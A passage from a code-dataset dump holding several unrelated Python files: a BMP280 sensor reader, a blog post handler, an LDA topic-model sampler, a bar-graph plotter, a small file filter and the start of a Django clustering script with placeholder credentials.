111 4000ms\n\n\nCONFIG = (T_SB <<5) + (FILTER <<2) # combine bits for config\nCTRL_MEAS = (OSRS_T <<5) + (OSRS_P <<2) + POWER_MODE # combine bits for ctrl_meas\n\n# print (\"CONFIG:\",CONFIG)\n# print (\"CTRL_MEAS:\",CTRL_MEAS)\n\nBMP280_REGISTER_DIG_T1 = 0x88\nBMP280_REGISTER_DIG_T2 = 0x8A\nBMP280_REGISTER_DIG_T3 = 0x8C\nBMP280_REGISTER_DIG_P1 = 0x8E\nBMP280_REGISTER_DIG_P2 = 0x90\nBMP280_REGISTER_DIG_P3 = 0x92\nBMP280_REGISTER_DIG_P4 = 0x94\nBMP280_REGISTER_DIG_P5 = 0x96\nBMP280_REGISTER_DIG_P6 = 0x98\nBMP280_REGISTER_DIG_P7 = 0x9A\nBMP280_REGISTER_DIG_P8 = 0x9C\nBMP280_REGISTER_DIG_P9 = 0x9E\nBMP280_REGISTER_CHIPID = 0xD0\nBMP280_REGISTER_VERSION = 0xD1\nBMP280_REGISTER_SOFTRESET = 0xE0\nBMP280_REGISTER_CONTROL = 0xF4\nBMP280_REGISTER_CONFIG = 0xF5\nBMP280_REGISTER_STATUS = 0xF3\nBMP280_REGISTER_TEMPDATA_MSB = 0xFA\nBMP280_REGISTER_TEMPDATA_LSB = 0xFB\nBMP280_REGISTER_TEMPDATA_XLSB = 0xFC\nBMP280_REGISTER_PRESSDATA_MSB = 0xF7\nBMP280_REGISTER_PRESSDATA_LSB = 0xF8\nBMP280_REGISTER_PRESSDATA_XLSB = 0xF9\n\ndef readBmpId(addr=DEVICE):\n # Register Address\n REG_ID = 0xD0\n\n (chip_id, chip_version) = addr.readList(REG_ID, 2)\n return (chip_id, chip_version)\n\n#if (device.readS8(BMP280_REGISTER_CHIPID) == 0x58): # check sensor id 0x58=BMP280\ndef regcheck(addr=DEVICE):\n #print addr\n global dig_T1, dig_T2, dig_T3, dig_P1, dig_P2, dig_P3, dig_P4, dig_P5, dig_P6, dig_P7, dig_P8, dig_P9\n addr.write8(BMP280_REGISTER_SOFTRESET,0xB6) # reset sensor\n time.sleep(0.2) # little break\n addr.write8(BMP280_REGISTER_CONTROL,CTRL_MEAS) #\n time.sleep(0.2) # little break\n addr.write8(BMP280_REGISTER_CONFIG,CONFIG) #\n time.sleep(0.2)\n # register_control = addr.readU8(BMP280_REGISTER_CONTROL) # check the controll register again\n # register_config = addr.readU8(BMP280_REGISTER_CONFIG)# check the controll register again\n # print(\"config:\",register_config)\n # print(\"control:\",register_control)\n\n dig_T1 = addr.readU16LE(BMP280_REGISTER_DIG_T1) # read correction settings\n dig_T2 = addr.readS16LE(BMP280_REGISTER_DIG_T2)\n dig_T3 = addr.readS16LE(BMP280_REGISTER_DIG_T3)\n dig_P1 = addr.readU16LE(BMP280_REGISTER_DIG_P1)\n dig_P2 = addr.readS16LE(BMP280_REGISTER_DIG_P2)\n dig_P3 = addr.readS16LE(BMP280_REGISTER_DIG_P3)\n dig_P4 = addr.readS16LE(BMP280_REGISTER_DIG_P4)\n dig_P5 = addr.readS16LE(BMP280_REGISTER_DIG_P5)\n dig_P6 = addr.readS16LE(BMP280_REGISTER_DIG_P6)\n dig_P7 = addr.readS16LE(BMP280_REGISTER_DIG_P7)\n dig_P8 = addr.readS16LE(BMP280_REGISTER_DIG_P8)\n dig_P9 = addr.readS16LE(BMP280_REGISTER_DIG_P9)\n\n #print(\"dig_T1:\",dig_T1,\" dig_T2:\",dig_T2,\" dig_T3:\",dig_T3)\n #print(\"dig_P1:\",dig_P1,\" dig_P2:\",dig_P2,\" dig_P3:\",dig_P3)\n #print(\" dig_P4:\",dig_P4,\" dig_P5:\",dig_P5,\" dig_P6:\",dig_P6)\n #print(\" dig_P7:\",dig_P7,\" dig_P8:\",dig_P8,\" dig_P9:\",dig_P9)\n\ndef readBmp280(addr=DEVICE):\n\tglobal dig_T1, dig_T2, dig_T3, dig_P1, dig_P2, dig_P3, dig_P4, dig_P5, dig_P6, dig_P7, dig_P8, dig_P9\n\traw_temp_msb=addr.readU8(BMP280_REGISTER_TEMPDATA_MSB) # read raw temperature msb\n\traw_temp_lsb=addr.readU8(BMP280_REGISTER_TEMPDATA_LSB) # read raw temperature lsb\n\traw_temp_xlsb=addr.readU8(BMP280_REGISTER_TEMPDATA_XLSB) # read raw temperature xlsb\n\traw_press_msb=addr.readU8(BMP280_REGISTER_PRESSDATA_MSB) # read raw pressure msb\n\traw_press_lsb=addr.readU8(BMP280_REGISTER_PRESSDATA_LSB) # read raw pressure lsb\n\traw_press_xlsb=addr.readU8(BMP280_REGISTER_PRESSDATA_XLSB) # read raw pressure xlsb\n\n\traw_temp=(raw_temp_msb <<12)+(raw_temp_lsb<<4)+(raw_temp_xlsb>>4) # combine 3 bytes msb 12 bits left, lsb 4 bits left, xlsb 4 bits right\n\traw_press=(raw_press_msb <<12)+(raw_press_lsb <<4)+(raw_press_xlsb >>4) # combine 3 bytes msb 12 bits left, lsb 4 bits left, xlsb 4 bits right\n\t# print(\"raw_press_msb:\",raw_press_msb,\" raw_press_lsb:\",raw_press_xlsb,\" raw_press_xlsb:\",raw_press_xlsb)\n\t# print(\"raw_temp_msb:\",raw_temp_msb,\" raw_temp_lsb:\",raw_temp_lsb,\" raw_temp_xlsb:\",raw_temp_xlsb)\n\t# print(\"raw_press\",raw_press)\n\n\t# the following values are from the calculation example in the datasheet\n\t# this values can be used to check the calculation formulas\n\t# dig_T1=27504\n\t# dig_T2=26435\n\t# dig_T3=-1000\n\t# dig_P1=36477\n\t# dig_P2=-10685\n\t# dig_P3=3024\n\t# dig_P4=2855\n\t# dig_P5=140\n\t# dig_P6=-7\n\t# dig_P7=15500\n\t# dig_P8=-14600\n\t# dig_P9=6000\n\t# t_fine=128422.2869948\n\t# raw_temp=519888\n\t# raw_press=415148\n\n\t#print dig_T1\n\t#print dig_T2\n\tvar1=(raw_temp/16384.0-dig_T1/1024.0)*dig_T2 # formula for temperature from datasheet\n\tvar2=(raw_temp/131072.0-dig_T1/8192.0)*(raw_temp/131072.0-dig_T1/8192.0)*dig_T3 # formula for temperature from datasheet\n\ttemp=(var1+var2)/5120.0 # formula for temperature from datasheet\n\tt_fine=(var1+var2) # need for pressure calculation\n\n\t#print(\"temp:\",temp,\" var1:\",var1,\" var2:\",var2,\" t_fine:\",t_fine)\n\t\n\tvar1=t_fine/2.0-64000.0 # formula for pressure from datasheet\n\tvar2=var1*var1*dig_P6/32768.0 # formula for pressure from datasheet\n\tvar2=var2+var1*dig_P5*2 # formula for pressure from datasheet\n\tvar2=var2/4.0+dig_P4*65536.0 # formula for pressure from datasheet\n\tvar1=(dig_P3*var1*var1/524288.0+dig_P2*var1)/524288.0 # formula for pressure from datasheet\n\tvar1=(1.0+var1/32768.0)*dig_P1 # formula for pressure from datasheet\n\tpress=1048576.0-raw_press # formula for pressure from datasheet\n\tpress=(press-var2/4096.0)*6250.0/var1 # formula for pressure from datasheet\n\tvar1=dig_P9*press*press/2147483648.0 # formula for pressure from datasheet\n\tvar2=press*dig_P8/32768.0 # formula for pressure from datasheet\n\tpress=press+(var1+var2+dig_P7)/16.0 # formula for pressure from datasheet\n\n\taltitude= 44330.0 * (1.0 - pow(press / (QNH*100), (1.0/5.255))) # formula for altitude from airpressure\n\t#print(\"temperature:{:.2f}\".format(temp)+\" C pressure:{:.2f}\".format(press/100)+\" hPa altitude:{:.2f}\".format(altitude)+\" m\")\n\n\treturn (temp,press/ 100.0)\n\ndef main(addr=DEVICE):\n #print\"test\"\n \n (chip_id, chip_version) = readBmpId()\n #print \"Chip ID :\", chip_id\n #print \"Version :\", chip_version\n\n #print\n \n if chip_id == 88:\n regcheck()\n\n (temperature,pressure)=readBmp280()\n #print \"Temperature : \", temperature, \"C\"\n #print \"Pressure : \", pressure, \"mbar\"\n return (temperature,pressure)\n \nif __name__==\"__main__\":\n main(DEVICE)\n #print\"test\"\n","sub_path":"bmp280.py","file_name":"bmp280.py","file_ext":"py","file_size_in_byte":7957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"495872739","text":"'''\nThis file contains the controller class for blog submit page\n'''\nfrom base import BaseHandler\nfrom blog_model import Blog\nfrom cache import Cache\n\n# handler class for '/newpost' - page for submitting a new post\nclass NewpostHandler(BaseHandler):\n # render the template with given params\n def render_newpost(self, subject='', content='', error=''):\n self.render('newpost.html', subject=subject, content=content, user=self.user,error=error)\n\n def get(self, param_username):\n # welcome user if active user matches user in url\n if self.user is not None and self.user.username==param_username:\n self.render_newpost()\n # blog submission is only allowed if user is logged in\n else:\n return self.redirect('/')\n\n # user submits form\n def post(self, param_username):\n # retrieve submission fields\n subject = self.request.get('subject')\n content = self.request.get('content')\n username = self.user.username\n profile_name = self.user.profile_name\n # check that all required fields are filled in\n if subject and content:\n newBlog = Blog.createBlog(subject=subject,\n content=content,\n username=username,\n profile_name=profile_name)\n newBlog.content = newBlog.content.replace('\\\\n', '
')\n # flush the cache on db write\n Cache.flush()\n key = newBlog.put()\n self.redirect(\"/entry/%s\" % str(key.id()))\n else:\n error = 'Please submit both subject and content'\n self.render_newpost(subject=subject, content=content, error=error)\n","sub_path":"NewPost.py","file_name":"NewPost.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"605278098","text":"import os\n\nimport numpy as np\nfrom tqdm import tqdm\nfrom paddlehub.common.logger import logger\n\nfrom slda_webpage.document import LDADoc, SLDADoc, Token, Sentence\nfrom slda_webpage.vose_alias import VoseAlias\nfrom slda_webpage.util import rand, rand_k\n\n\nclass Sampler(object):\n def __init__(self):\n pass\n\n def sample_doc(self, doc):\n \"\"\"Sample LDA or SLDA topics for documents.\n \"\"\"\n raise NotImplementedError\n\n\nclass MHSampler(Sampler):\n def __init__(self, model):\n super().__init__()\n self.__model = model\n self.__topic_indexes = None\n self.__alias_tables = None\n self.__prob_sum = None\n self.__beta_alias = VoseAlias()\n self.__beta_prior_sum = None\n self.__mh_steps = 2\n self.__construct_alias_table()\n\n def __construct_alias_table(self):\n \"\"\"Construct alias table for all words.\n \"\"\"\n logger.info(\"Construct alias table for alias sampling method.\")\n vocab_size = self.__model.vocab_size()\n self.__topic_indexes = [[] for _ in range(vocab_size)]\n self.__alias_tables = [VoseAlias() for _ in range(vocab_size)]\n self.__prob_sum = np.zeros(vocab_size)\n\n # Construct each word's alias table (prior is not included).\n for i in tqdm(range(vocab_size)):\n dist = []\n prob_sum = 0\n for key in self.__model.word_topic(i):\n topic_id = key\n word_topic_count = self.__model.word_topic(i)[key]\n topic_sum = self.__model.topic_sum_value(topic_id)\n\n self.__topic_indexes[i].append(topic_id)\n q = word_topic_count / (topic_sum + self.__model.beta_sum())\n dist.append(q)\n prob_sum += q\n self.__prob_sum[i] = prob_sum\n if len(dist) > 0:\n dist = np.array(dist, dtype=np.float)\n self.__alias_tables[i].initialize(dist)\n\n # Build prior parameter beta's alias table.\n beta_dist = self.__model.beta() / (self.__model.topic_sum() + self.__model.beta_sum())\n self.__beta_prior_sum = np.sum(beta_dist)\n self.__beta_alias.initialize(beta_dist)\n\n def sample_doc(self, doc):\n if isinstance(doc, LDADoc) and not isinstance(doc, SLDADoc):\n for i in range(doc.size()):\n new_topic = self.__sample_token(doc, doc.token(i))\n doc.set_topic(i, new_topic)\n elif isinstance(doc, SLDADoc):\n for i in range(doc.size()):\n new_topic = self.__sample_sentence(doc, doc.sent(i))\n doc.set_topic(i, new_topic)\n\n def __sample_token(self, doc, token):\n new_topic = token.topic\n for i in range(self.__mh_steps):\n doc_proposed_topic = self.__doc_proposal(doc, token)\n new_topic = self.__word_proposal(doc, token, doc_proposed_topic)\n return new_topic\n\n def __sample_sentence(self, doc, sent):\n new_topic = sent.topic\n for i in range(self.__mh_steps):\n doc_proposed_topic = self.__doc_proposal(doc, sent)\n new_topic = self.__word_proposal(doc, sent, doc_proposed_topic)\n return new_topic\n\n def __doc_proposal(self, doc, token):\n if isinstance(doc, LDADoc) and isinstance(token, Token):\n old_topic = token.topic\n dart = rand() * (doc.size() + self.__model.alpha_sum())\n if dart < doc.size():\n token_index = int(dart)\n new_topic = doc.token(token_index).topic\n else:\n new_topic = rand_k(self.__model.num_topics())\n\n if new_topic != old_topic:\n proposal_old = self.__doc_proposal_distribution(doc, old_topic)\n proposal_new = self.__doc_proposal_distribution(doc, new_topic)\n proportion_old = self.__proportional_function(doc, token, old_topic)\n proportion_new = self.__proportional_function(doc, token, new_topic)\n transition_prob = float((proportion_new * proposal_old) / (proportion_old * proposal_new))\n rejection = rand()\n mask = -(rejection < transition_prob)\n return (new_topic & mask) | (old_topic & ~mask)\n\n return new_topic\n\n elif isinstance(doc, SLDADoc) and isinstance(token, Sentence):\n sent = token\n old_topic = sent.topic\n dart = rand() * (doc.size() + self.__model.alpha_sum())\n if dart < doc.size():\n token_index = int(dart)\n new_topic = doc.sent(token_index).topic\n else:\n new_topic = rand_k(self.__model.num_topics())\n\n if new_topic != old_topic:\n proportion_old = self.__proportional_function(doc, sent, old_topic)\n proportion_new = self.__proportional_function(doc, sent, new_topic)\n proposal_old = self.__doc_proposal_distribution(doc, old_topic)\n proposal_new = self.__doc_proposal_distribution(doc, new_topic)\n transition_prob = float((proportion_new * proposal_old) / (proportion_old * proposal_new))\n rejection = rand()\n mask = -(rejection < transition_prob)\n return (new_topic & mask) | (old_topic & ~mask)\n\n return new_topic\n\n def __word_proposal(self, doc, token, old_topic):\n if isinstance(doc, LDADoc) and isinstance(token, Token):\n new_topic = self.__propose(token.id)\n if new_topic != old_topic:\n proposal_old = self.__word_proposal_distribution(token.id, old_topic)\n proposal_new = self.__word_proposal_distribution(token.id, new_topic)\n proportion_old = self.__proportional_function(doc, token, old_topic)\n proportion_new = self.__proportional_function(doc, token, new_topic)\n transition_prob = float((proportion_new * proposal_old) / (proportion_old * proposal_new))\n rejection = rand()\n mask = -(rejection < transition_prob)\n return (new_topic & mask) | (old_topic & ~mask)\n return new_topic\n\n elif isinstance(doc, SLDADoc) and isinstance(token, Sentence):\n sent = token\n new_topic = old_topic\n for word_id in sent.tokens:\n new_topic = self.__propose(word_id)\n if new_topic != old_topic:\n proportion_old = self.__proportional_function(doc, sent, old_topic)\n proportion_new = self.__proportional_function(doc, sent, new_topic)\n proposal_old = self.__word_proposal_distribution(word_id, old_topic)\n proposal_new = self.__word_proposal_distribution(word_id, new_topic)\n transition_prob = float((proportion_new * proposal_old) / (proportion_old * proposal_new))\n rejection = rand()\n mask = -(rejection < transition_prob)\n new_topic = (new_topic & mask) | (old_topic & ~mask)\n return new_topic\n\n def __proportional_function(self, doc, token, new_topic):\n if isinstance(doc, LDADoc) and isinstance(token, Token):\n old_topic = token.topic\n dt_alpha = doc.topic_sum(new_topic) + self.__model.alpha()\n wt_beta = self.__model.word_topic_value(token.id, new_topic) + self.__model.beta()\n t_sum_beta_sum = self.__model.topic_sum_value(new_topic) + self.__model.beta_sum()\n if new_topic == old_topic and wt_beta > 1:\n if dt_alpha > 1:\n dt_alpha -= 1\n wt_beta -= 1\n t_sum_beta_sum -= 1\n return dt_alpha * wt_beta / t_sum_beta_sum\n\n elif isinstance(doc, SLDADoc) and isinstance(token, Sentence):\n sent = token\n old_topic = sent.topic\n result = doc.topic_sum(new_topic) + self.__model.alpha()\n if new_topic == old_topic:\n result -= 1\n for word_id in sent.tokens:\n wt_beta = self.__model.word_topic_value(word_id, new_topic) + self.__model.beta()\n t_sum_beta_sum = self.__model.topic_sum_value(new_topic) + self.__model.beta_sum()\n if new_topic == old_topic and wt_beta > 1:\n wt_beta -= 1\n t_sum_beta_sum -= 1\n result *= wt_beta / t_sum_beta_sum\n return result\n else:\n logger.error(\"Wrong input argument type!\")\n\n def __word_proposal_distribution(self, word_id, topic):\n wt_beta = self.__model.word_topic_value(word_id, topic) + self.__model.beta()\n t_sum_beta_sum = self.__model.topic_sum_value(topic) + self.__model.beta_sum()\n return wt_beta / t_sum_beta_sum\n\n def __doc_proposal_distribution(self, doc, topic):\n return doc.topic_sum(topic) + self.__model.alpha()\n\n def __propose(self, word_id):\n dart = rand() * (self.__prob_sum[word_id] + self.__beta_prior_sum)\n if dart < self.__prob_sum[word_id]:\n idx = self.__alias_tables[word_id].generate()\n topic = self.__topic_indexes[word_id][idx]\n else:\n topic = self.__beta_alias.generate()\n return topic\n\n\nclass GibbsSampler(Sampler):\n def __init__(self, model):\n super().__init__()\n self.__model = model\n\n def sample_doc(self, doc):\n if isinstance(doc, LDADoc) and not isinstance(doc, SLDADoc):\n for i in range(doc.size()):\n new_topic = self.__sample_token(doc, doc.token(i))\n doc.set_topic(i, new_topic)\n elif isinstance(doc, SLDADoc):\n for i in range(doc.size()):\n new_topic = self.__sample_sentence(doc, doc.sent(i))\n doc.set_topic(i, new_topic)\n\n def __sample_token(self, doc, token):\n old_topic = token.topic\n num_topics = self.__model.num_topics()\n accum_prob = np.zeros(num_topics)\n prob = np.zeros(num_topics)\n sum_ = 0\n for i in range(num_topics):\n dt_alpha = doc.topic_sum(i) + self.__model.alpha()\n wt_beta = self.__model.word_topic_value(token.id, i) + self.__model.beta()\n t_sum_beta_sum = self.__model.topic_sum(i) + self.__model.beta_sum()\n if i == old_topic and wt_beta > 1:\n if dt_alpha > 1:\n dt_alpha -= 1\n wt_beta -= 1\n t_sum_beta_sum -= 1\n prob[i] = dt_alpha * wt_beta / t_sum_beta_sum\n sum_ += prob[i]\n accum_prob[i] = prob[i] if i == 0 else accum_prob[i - 1] + prob[i]\n\n dart = rand() * sum_\n if dart <= accum_prob[0]:\n return 0\n for i in range(1, num_topics):\n if accum_prob[i - 1] < dart <= accum_prob[i]:\n return i\n return num_topics - 1\n\n def __sample_sentence(self, doc, sent):\n old_topic = sent.topic\n num_topics = self.__model.num_topics()\n accum_prob = np.zeros(num_topics)\n prob = np.zeros(num_topics)\n sum_ = 0\n for t in range(num_topics):\n dt_alpha = doc.topic_sum(t) + self.__model.alpha()\n t_sum_beta_sum = self.__model.topic_sum(t) + self.__model.beta_sum()\n if t == old_topic:\n if dt_alpha > 1:\n dt_alpha -= 1\n if t_sum_beta_sum > 1:\n t_sum_beta_sum -= 1\n prob[t] = dt_alpha\n for i in range(len(sent.tokens)):\n w = sent.tokens[i]\n wt_beta = self.__model.word_topic_value(w, t) + self.__model.beta()\n if t == old_topic and wt_beta > 1:\n wt_beta -= 1\n # Note: if the length of the sentence is too long, the probability will be\n # too small and the accuracy will be lost if there are too many multiply items\n prob[t] *= wt_beta / t_sum_beta_sum\n sum_ += prob[t]\n accum_prob[t] = prob[t] if t == 0 else accum_prob[t - 1] + prob[t]\n\n dart = rand() * sum\n if dart <= accum_prob[0]:\n return 0\n for t in range(1, num_topics):\n if accum_prob[t - 1] < dart <= accum_prob[t]:\n return t\n return num_topics - 1\n","sub_path":"modules/text/language_model/slda_webpage/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":12386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"340274223","text":"#\r\n#River Sheppard\r\n#CSI 136\r\n#Description: Uses StdDraw to creat a graph that represents the data found by the Benford\r\n#script, the y-values on the side of the graph scale with the data and the precise value\r\n# of each bucket is displayed at the top of each column\r\n#\r\n\r\nimport sys\r\nimport StdDraw\r\nimport Benford\r\n\r\nclass Graph:\r\n #Constructor\r\n def __init__(self):\r\n pass\r\n\r\n #Counts the number of digits in an int\r\n def intLength(self, num):\r\n count = 1\r\n while int(num) >= 1:\r\n num = num / 10\r\n if num >= 1:\r\n count += 1\r\n return count\r\n\r\n #Finds the largest number in a list\r\n def greatestInt(self, intList):\r\n greatInt = 0\r\n for int in intList:\r\n if int > greatInt:\r\n greatInt = int\r\n return greatInt\r\n\r\n #Finds the number with which to scale the y-axis\r\n def graphHeight(self, num):\r\n intLen = self.intLength(num)\r\n height = 2 * pow(10,intLen-1)\r\n while num > height:\r\n height += pow(10,intLen-1)\r\n return height\r\n\r\n #Draws the blank graph before any data in used\r\n def graphDraw(self):\r\n StdDraw.setCanvasSize(600,600)\r\n StdDraw.setXscale(0,600)\r\n StdDraw.setYscale(0,600)\r\n\r\n StdDraw.line(50,50,50,550)\r\n StdDraw.line(50,50,550,50)\r\n \r\n StdDraw.line(45,550,55,550)\r\n StdDraw.line(48,425,52,425)\r\n StdDraw.line(45,300,55,300)\r\n StdDraw.line(48,175,52,175) \r\n\r\n StdDraw.line(75,48,75,52)\r\n StdDraw.text(75,25, \"0\")\r\n StdDraw.line(125,48,125,52)\r\n StdDraw.text(125,25, \"1\")\r\n StdDraw.line(175,48,175,52)\r\n StdDraw.text(175,25, \"2\")\r\n StdDraw.line(225,48,225,52)\r\n StdDraw.text(225,25, \"3\")\r\n StdDraw.line(275,48,275,52)\r\n StdDraw.text(275,25, \"4\")\r\n StdDraw.line(325,48,325,52)\r\n StdDraw.text(325,25, \"5\")\r\n StdDraw.line(375,48,375,52)\r\n StdDraw.text(375,25, \"6\")\r\n StdDraw.line(425,48,425,52)\r\n StdDraw.text(425,25, \"7\")\r\n StdDraw.line(475,48,475,52)\r\n StdDraw.text(475,25, \"8\")\r\n StdDraw.line(525,48,525,52)\r\n StdDraw.text(525,25, \"9\")\r\n StdDraw.line(550,45,550,55)\r\n StdDraw.show(0.0)\r\n\r\n def advDraw(self, size, listSize):\r\n graphSize = size - 100\r\n xSplit = graphSize/listSize\r\n\r\n StdDraw.setCanvasSize(size,size)\r\n StdDraw.setXscale(0,size)\r\n StdDraw.setYscale(0,size)\r\n\r\n StdDraw.line(50,50,50,size - 50)\r\n StdDraw.line(50,50,size - 50,50)\r\n\r\n StdDraw.line(45,size - 50,55,size - 50)\r\n StdDraw.line(48,3*graphSize/4+50,52,3*graphSize/4+50)\r\n StdDraw.line(45,graphSize/2+50,55,graphSize/2+50)\r\n StdDraw.line(48,graphSize/4+50,52,graphSize/4+50)\r\n\r\n for i in range(0,listSize):\r\n posX = 50 + xSplit * (i + 0.5)\r\n StdDraw.line(posX,48,posX,52)\r\n StdDraw.text(posX,25, str(i))\r\n\r\n StdDraw.line(size - 50,45,size - 50,55)\r\n StdDraw.show(0.0)\r\n\r\n #Calls the graph and then adds the data points\r\n def graphing(self, size, intList):\r\n listSize = len(intList)\r\n if size < 20 * listSize + 100:\r\n size = 20 * listSize + 100\r\n\r\n self.advDraw(size, listSize)\r\n\r\n graphSize = size - 100\r\n height = self.graphHeight(self.greatestInt(intList))\r\n width = graphSize/len(intList)\r\n\r\n if height >= 100:\r\n StdDraw.text(25,size - 50, str(height))\r\n StdDraw.text(25,3*graphSize/4+50, str(int(3*height/4)))\r\n StdDraw.text(25,graphSize/2+50, str(int(height/2)))\r\n StdDraw.text(25,graphSize/4+50, str(int(height/4)))\r\n else:\r\n StdDraw.text(25,size - 50, str(height))\r\n StdDraw.text(25,3*graphSize/4+50, str(3*height/4))\r\n StdDraw.text(25,graphSize/2+50, str(height/2))\r\n StdDraw.text(25,graphSize/4+50, str(height/4))\r\n StdDraw.text(25,50, \"0\")\r\n \r\n for i in range(0,len(intList)):\r\n StdDraw.setPenColor(StdDraw.BLUE)\r\n posX = 50 + width * i\r\n posY = intList[i] / height * graphSize + 75\r\n stretch = intList[i]/height * graphSize\r\n StdDraw.filledRectangle(posX,50,width,stretch)\r\n StdDraw.setPenColor(StdDraw.BLACK)\r\n StdDraw.rectangle(posX,50,width,stretch)\r\n StdDraw.text(posX + width/2,posY, str(intList[i]))\r\n graphTime = True\r\n while graphTime:\r\n StdDraw.show(10)\r\n if StdDraw.hasNextKeyTyped():\r\n graphTime = False\r\n\r\n\r\nif __name__ == \"__main__\":\r\n digit = int(sys.argv[1])\r\n fName = sys.argv[2]\r\n size = int(sys.argv[3])\r\n #size = 600\r\n graph = Graph()\r\n ben = Benford.Benford()\r\n nums = ben.nthDigitTally(digit, ben.readMysteriousNumbers(fName))\r\n graph.graphing(size, nums)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n","sub_path":"CS-136/1-PythonReview/Graph.py","file_name":"Graph.py","file_ext":"py","file_size_in_byte":4999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"505686758","text":"tab = []\ni = 0\nwith open('numbers.txt') as file:\n with open('EvenNumbers.txt', 'w') as file2:\n for line in file:\n if int(line) % 2 == 0:\n tab = line\n file2.write(tab)\n\n\n ","sub_path":"03-FileHandling/ex20.py","file_name":"ex20.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"584070245","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom cluster.models import *\n\n# rest\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\n# datetime\nfrom datetime import datetime, timedelta\nfrom django.utils import timezone\n\n# tz\nimport pytz\n\n# scikit-learn\nfrom sklearn.cluster import AgglomerativeClustering\n\n# pandas\nimport pandas as pd\n\n# log\nimport sys\nimport traceback\n\n# ordreddict\nimport collections\n\n# itertools\nimport itertools\n\n# threading\nimport threading\n\n# excel writer\nimport xlsxwriter\n\n# db aggregation tool\nfrom django.db.models import F, Sum, Count, Case, When\nfrom django.db.models import CharField, Value as V\nfrom django.db.models.functions import Concat\n\n# aws s3\nimport boto3\n\n# os\nimport os\n\n# copy\nimport copy\n\n# global values\nTHE_NUMBER_OF_FEATURE = 1\nTHE_NUMBER_OF_CLUSTER_GROUP = 3\nTIME_GAP = 9\n\nGROUP_ALL = \"ALL\"\nGROUP_SHORT = \"SHORT\"\nGROUP_LONG = \"LONG\"\nGROUP_MIX = \"MIX\"\n\nSLACK_TOKEN = \"YOUR_SLACK_TOKEN\"\nAWS_ACCESS_KEY_ID = \"YOUR_AWS_ACCESS_KEY_ID\"\nAWS_SECRET_ACCESS_KEY = \"YOUR_AWS_SECRET_KEY_ID\"\nENDPOINT = \"ap-northeast-2\"\n\n# global values\nrearranged_user_dict = dict()\nrearranged_user_character_dict = dict()\n\ndef get_deal_distribution():\n \"\"\"\n 최근 3개월간 딜 분포를 통해 상품 지역에 대한 가중치를 계산\n :return: deal_distribution_weight_dict = { category_id : weight }\n \"\"\"\n\n # get dictionary of area -> area_dict = { category_id : [ arrival_ids] }\n TIME_GAP = 9\n DISTRIBUTION_STANDARAD = 90\n\n print('-get_deal_distribution START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n area_dict = dict ()\n category_list = [6, 7, 9, 11, 12, 13, 15, 16, 18]\n\n # get category vs area list\n for category_id in category_list:\n area_list = Area.objects.filter(category_id__exact=category_id) \\\n .values_list('id', flat=True) \\\n .order_by('id')\n area_list = list(area_list)\n area_dict[category_id] = area_list\n\n # get ticket count\n tickets = Ticket.objects.filter(created_at__gte=timezone.now() + timedelta(hours=TIME_GAP) - timedelta(days=DISTRIBUTION_STANDARAD),\n created_at__lte=timezone.now() + timedelta(hours=TIME_GAP)) \\\n .values('deal_id') \\\n .annotate(arrivals = GroupConcat('arrival_id', distinct=True, ordering='arrival_id ASC', separator=',')) \\\n .order_by('deal_id')\n ticket_object_list = list(tickets)\n\n # get deal_arrival_dict { deal_id : [arrival_ids] }\n deal_arrival_dict = dict()\n for ticket_object in ticket_object_list:\n deal_id = ticket_object[\"deal_id\"]\n arrivals = ticket_object[\"arrivals\"].split(',')\n deal_arrival_dict[deal_id] = arrivals\n\n # get deal_category_count { 'category_id' : x_count }\n deal_category_count = collections.Counter()\n\n for deal_id, arrival_id_list in deal_arrival_dict.iteritems():\n temp_deal_category_count_set = set()\n\n for arrival_id in arrival_id_list:\n for category_id, area_id_list in area_dict.iteritems():\n if int(arrival_id) in area_id_list:\n temp_deal_category_count_set.add(str(category_id))\n\n deal_category_count.update(temp_deal_category_count_set)\n\n # get deal_distribution_weight_dict { 'category_id' : weight }\n deal_category_count = dict(deal_category_count)\n deal_distribution_weight_dict = {k : sum(deal_category_count.values(), 0.0) / v for k, v in deal_category_count.iteritems()}\n\n # reset weight in deal_distribution_weight_dict\n for k, v in deal_distribution_weight_dict.iteritems():\n deal_distribution_weight_dict[k] = 1\n\n # delete variable that are no use\n del deal_arrival_dict\n del ticket_object_list\n del area_dict\n del area_list\n\n print('-get_deal_distribution COMPLETE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n return deal_distribution_weight_dict\n\n\ndef get_whole_character_group_data():\n \"\"\"\n 전체 캐릭터 그룹의 데이터를 가져옴\n :return: temp_whole_big_cluster_group = {\n 'ALL,CATEGORY6,THEME1' : [(442234, 0), (442235, 1), (442236, 2)]\n 'description' : [(character_group_id, name)] }\n \"\"\"\n\n temp_whole_big_cluster_group = dict()\n\n try:\n character_groups = Character_group.objects.order_by('id', 'description').values()\n character_groups = list(character_groups)\n\n except Exception as e:\n print('- get_whole_character_group_data ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n return\n\n for character_group_object in character_groups:\n\n temp_character_group_object_list = []\n key = (character_group_object['id'], character_group_object['name'])\n # value = [Users]\n\n if character_group_object['description'] in temp_whole_big_cluster_group.keys():\n temp_character_group_object_list = temp_whole_big_cluster_group[character_group_object['description']]\n\n temp_character_group_object_list.append(key)\n temp_whole_big_cluster_group[character_group_object['description']] = temp_character_group_object_list\n\n print('- get_whole_character_group_data ' \\\n + 'BIG CLUSTER GROUP : {} 